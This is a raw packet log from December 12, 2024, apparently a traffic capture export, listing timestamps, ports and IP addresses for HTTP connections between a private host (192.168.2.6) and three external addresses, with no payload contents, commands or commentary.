Dec 12, 2024 21:50:52.291419983 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.291426897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.291457891 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.291487932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.291522980 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.293231964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.293248892 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.293272972 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.293288946 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.294830084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.294850111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.294874907 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.294886112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.294898987 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.294929981 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.294945955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.294987917 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.295945883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.295986891 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.296076059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.296118975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.297136068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.297173977 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.297256947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.297293901 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.298402071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.298423052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.298443079 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.298454046 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.299381018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.299422026 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.299531937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.299570084 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.300539970 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.300591946 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.300678015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.300720930 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.301736116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.301779985 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.301863909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.301907063 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.302912951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.302951097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.303040981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.303081989 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.304151058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.304167032 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.304277897 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.305124044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.305171967 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.305316925 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.305357933 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.306386948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.306430101 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.306462049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.306495905 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.307487011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.307523012 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.307910919 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.307951927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.308726072 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.308747053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.308767080 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.308785915 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.310446978 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.310467958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.310502052 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.310513020 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.310867071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.310920000 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.401818037 CET	49997	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:50:52.444632053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.444669008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.444690943 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.444711924 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.444720984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.444763899 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.445151091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.445175886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.445194006 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.445207119 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.445957899 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.445986986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.446005106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.446022034 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.446732044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.446772099 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.446938038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.446985960 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.447813988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.447854996 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.448007107 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.448041916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.448761940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.448791981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.448810101 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.448827982 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.450170994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.450197935 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.450215101 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.450229883 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.451047897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.451073885 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.451096058 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.451112032 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.452707052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.452733994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.452752113 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.452765942 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.452994108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.453031063 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.453109026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.453149080 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.454448938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.454473972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.454490900 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.454509974 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.455369949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.455446959 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.455518007 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.455564022 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.456612110 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.456630945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.456650019 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.456669092 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.457664013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.457707882 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.457878113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.457917929 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.458745003 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.458790064 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.459361076 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.459403038 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.460236073 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.460248947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.460275888 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.460292101 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.462034941 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.462047100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.462078094 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.462097883 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.463100910 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.463113070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.463145971 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.463161945 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.464185953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.464198112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.464225054 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.464236021 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.465279102 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.465291977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.465328932 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.465338945 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.466131926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.466141939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.466171980 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.466185093 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.466803074 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.466840982 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.467361927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.467406988 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.468491077 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.468503952 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.468539000 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.468555927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.469579935 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.469590902 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.469625950 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.469634056 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.470655918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.470666885 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.470702887 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.470717907 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.471731901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.471786022 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.521955013 CET	80	49997	185.215.113.206	192.168.2.6
Dec 12, 2024 21:50:52.522119999 CET	49997	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:50:52.522370100 CET	49997	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:50:52.642802954 CET	80	49997	185.215.113.206	192.168.2.6
Dec 12, 2024 21:50:53.881055117 CET	80	49997	185.215.113.206	192.168.2.6
Dec 12, 2024 21:50:53.881560087 CET	49997	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:50:54.645369053 CET	49997	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:50:54.765762091 CET	80	49997	185.215.113.206	192.168.2.6
Dec 12, 2024 21:50:54.997739077 CET	49966	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:54.998034000 CET	50003	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:55.117661953 CET	80	49997	185.215.113.206	192.168.2.6
Dec 12, 2024 21:50:55.117918015 CET	49997	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:50:55.118010044 CET	80	50003	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:55.118077993 CET	50003	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:55.118551970 CET	80	49966	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:55.118597984 CET	49966	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:55.161784887 CET	50003	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:55.281568050 CET	80	50003	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:56.453723907 CET	80	50003	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:56.455344915 CET	50003	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:56.626347065 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:56.626934052 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:56.746717930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:56.746767044 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:56.746787071 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:56.746855021 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:56.759063959 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:56.878870010 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.096995115 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.097018003 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.097035885 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.097069025 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.097126007 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.097275972 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.097290039 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.097309113 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.097316027 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.097347021 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.097528934 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.097546101 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.097584009 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.097595930 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.097879887 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.097897053 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.097920895 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.097978115 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.219917059 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.219949961 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.219995975 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.220047951 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.223984957 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.224046946 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.224977970 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.225034952 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.288106918 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.288136959 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.288172007 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.288209915 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.292196989 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.292251110 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.292284012 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.292325020 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.300581932 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.300636053 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.303670883 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.303716898 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.303730011 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.303759098 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.312160969 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.312187910 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.312225103 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.312314034 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.320488930 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.320547104 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.320606947 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.320661068 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.328805923 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.328880072 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.329349041 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.329396009 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.337281942 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.337330103 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.338036060 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.338078022 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.345567942 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.345614910 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.345741034 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.345781088 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.354259968 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.354284048 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.354305029 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.354329109 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.362014055 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.362037897 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.362072945 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.362102985 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.369935036 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.369959116 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.369998932 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.370028019 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.377907038 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.377968073 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.480328083 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.480385065 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.480400085 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.480443001 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.482176065 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.482280970 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.483391047 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.483447075 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.487410069 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.487463951 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.488297939 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.488348961 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.488487005 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.488535881 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.492623091 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.492680073 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.492834091 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.492882013 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.497184992 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.497221947 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.497245073 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.497302055 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.501527071 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.501562119 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.501612902 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.501612902 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.505878925 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.505927086 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.505990982 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.506025076 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.510375977 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.510421991 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.510452986 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.510494947 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.514879942 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.514916897 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.514929056 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.514954090 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.519073009 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.519124985 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.519299030 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.519341946 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.523581028 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.523633003 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.523747921 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.523787022 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.527982950 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.528018951 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.528028965 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.528054953 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.532450914 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.532496929 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.532500029 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.532538891 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.536773920 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.537003040 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.537030935 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.537352085 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.541162014 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.541320086 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.541389942 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.545681000 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.545733929 CET	80	50006	31.41.244.11	192.168.2.6
